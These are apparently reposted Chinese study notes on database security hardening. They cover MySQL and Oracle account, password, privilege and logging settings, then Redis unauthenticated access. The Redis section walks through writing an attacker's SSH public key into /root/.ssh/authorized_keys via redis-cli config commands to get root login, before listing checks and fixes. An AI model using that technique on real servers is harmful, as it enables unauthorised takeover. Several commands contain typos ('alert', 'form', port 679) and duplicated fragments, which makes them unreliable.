赞
踩
禁止MySQL已管理元的身份账号权限运行
用普通账户运行mysqld
加固方法:
MySQL my.cnf配置文件中配置user=mysql
设置root用户名口令并修改登录名,且不存在空密码账号
1.ccess MySQL控制台: mysql -u root -p
在控制台中执行:
set password for 'root'@'localhost' = password('new_password')
为了改进root的安全性,可以改名
use mysql;
update user set user="another_username" where user="root";
flush privileges;
然后就可以用新用户名访问
mysql -u another_username -p
2.对于空密码账号
set password for <user>@'<host>' = password('<clear password>')
select * from mysql.user where user ="";
配置合适的密码强度,最常使用期限小于90天
密码特征,长度,大小写,长度,字符集
添加配置到全局配置
plugin-load=validate_password.so
validate_password_length=14
validate_password_mixed_case_count=1
validate_password_number_count=1
validate_password_special_char_count=1
validate_passwordpolicy=MEDIUM
使用期限小于等于90天
配置rdbms:
set global default_password_lifetime=90
降低用户的数据库特权,只有管理员有完整的数据库访问权限
mysql.user和mysql.db表
使用revoke语句来删除权限
MySQL.user中权限:
file_priv:表示是否运行用户读取数据库所在主机的本地文件;
Process:表示是否运行用户查询所有用户的命令执行信息;
Super_priv:表示用户是否有设置全局变量、管理员调试等高级权限;
Shutdown_priv:表示用户是否可以关闭数据库;
Create_user_priv:表示用户是否可以创建或者删除其他用户;
Grant_priv:表示用户是否可以修改其他用户权限;
禁止或限制远程访问,确保特定主机才有访问特权
打开主句对数据库的访问:
grant all on *.* to 'root'@'% ';
这是完全开放了对root 的访问,需要对特定主机ip进行限制
grant all on *.* to 'root'@'localhost';
grant all on *.* to 'root'@'myip.athome';
flush privileges;
有限许可访问:
grant select,insert on mydb.* to 'someuser'@'somehost';
someuser换成用户名,somehost换成主机
配置MYSQL日志便于审计
日志默认会用主机名+.err命名的文件
配置
log_error=/mydata/data/mysql.test.com.err 指定错误日志信息,默认在数据库目录下,该位置必须有写的权限
log_warning ={0|1}#默认开启,服务器运行中的警告日志也在其中
查询日志
log={ON|OFF} 是否开启查询日志,在MySQL5.6已经废弃
general_log ={ON|OFF} 启动或关闭查询日志,默认关闭
general_log_file = /mydata/data/mysql.log 指定查询日志的位置
log_output = {TABLE|FILE|NONE}指定存放日志位置的位置,文件或者表
删除测试安装的test数据库
DROP DATABASE "test"
Mysqld启动禁用“–skip-grant-tables”
skip-grant-tables导致不适用权限系统的情况下启动,不启动grant-tables授权表,忘记管理员密码可以用到
配置文件中skip-grant-tables设置为FALSE,并且启动参数不包含--skip-grant-tables
数据库位于非系统区
系统分区:通常用于主句系统、应用程序操作
非系统分区:用于存储数据
MySQL数据库的挂在点不应该为:root('/'),var,/usr
为MySQL选择非系统分区的新位置
停止mysqld: service mysql stop
执行命令复制数据: cp-rp <datadir> <新位置>
启动 service mysql start
创建用户 create user test1 identified by test1;
删除用户 drop user test1;
锁定用户 alter user test1 account lock;
select username,account_status form dba_users where username ="";
修改用户密码
alert user test1 identified by <新密码>;
概要文件
用户限制数据库使用和实例资源的一组指定资源限制的条件,并管理账户状态和口令管理规则。
select username,account_status,profile from dba_users where rownum <= 1;
select profile,resource_name,limit from dba_profiles where rownum <= 1;
profile 配置
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XQaaxdhc-1648292687227)(E:\学习\picture\1.png)]
口令复杂验证
password_verify function 指定一个pl/sql函数,便于分配口令之前执行复杂度检查
utlpwdmg.sql脚本提供了模型口令验证函数
Unix和linux: $ORACLE_HOME/rdbms/admin
winows: %oracle_home%\rdbms\admin
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rhPZgr7E-1648292687228)(E:\学习\picture\image-20220326104519877.png)]
取消概要文件的限制
取消密码管理
alert profile DEFAULT limit unlimited;
alert profile DEFAULT limit password_reuse_time unlimited;
停止密码校验函数
alert profile DEFAULT limit password_verify_function null;
自建概要文件
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Zwo7oFEf-1648292687229)(E:\学习\picture\image-20220326104909487.png)]
数据库持久,key-value ,list,set,zset,hash,数据备份
未开启认证或采用相关策略
默认绑定在679,没有开启认证
ssh免密码登录
ssh root@192.168.xxx.xxx
自身提供的config命令,可进行写操作
将攻击者的公钥写入目标服务器 /root/.ssh文件夹的authotrized_keys文件中,然后使用对应的私钥登录
ssh-keygen -t rsa 本地生成公私密钥 用户根目录 .ssh authorized_keys存在远程免密登录的公钥,可记录多台 id_rsa:生成的私钥文件 id_rsa.pub:生成的公钥文件 know_hosts: 已知的主机公钥清单 希望公钥生效必须满足: 1. .ssh目录权限必须为700 2. .ssh/authorized_keys 文件必须为600 scp复制自己的公钥到对方的文件中 scp -p ~/.ssh/id_rsa.pub root@<remote_ip>:/root/.ssh/authorized_keys 手工复制黏贴到远程服务器~/.ssh/authorized_keys root@kail: ./redis-cli -h 192.xxx.xxx.xxx 192.xxx.xxx.xxx:6379> config get dir 192.xxx.xxx.xxx:6379> config get dir /root/.ssh 192.xxx.xxx.xxx:6379> config set dbfilename authorized_keys 192.xxx.xxx.xxx:6379> keys * 192.xxx.xxx.xxx:6379> get xxx "\n\n\nssh-rsa key_pub root@kail\n\n\n\n" 192.xxx.xxx.xxx:6379> save ssh ip 登录
1.ps -aux|grep redis 是否root运行
2.netstat -tunlp|grep redis 是否监听本地
3.是否设置相应的密码
redis-cli -h 192.xxxx
keys *
info
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C8elbEfF-1648292687229)(E:\学习\picture\image-20220326113204628.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4MNo2tOM-1648292687230)(E:\学习\picture\image-20220326113258452.png)]
升级程序,补丁
修改安全配置,停止服务
通过主机防火墙进行访问控制
通过系统边界防火墙进行访问控制
通过修改程序Banner进行欺骗
is-cli -h 192.xxxx
keys *
info
### 加固
[外链图片转存中...(img-C8elbEfF-1648292687229)]
[外链图片转存中...(img-4MNo2tOM-1648292687230)]
### 漏洞解决方法
升级程序,补丁
修改安全配置,停止服务
通过主机防火墙进行访问控制
通过系统边界防火墙进行访问控制
通过修改程序Banner进行欺骗
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。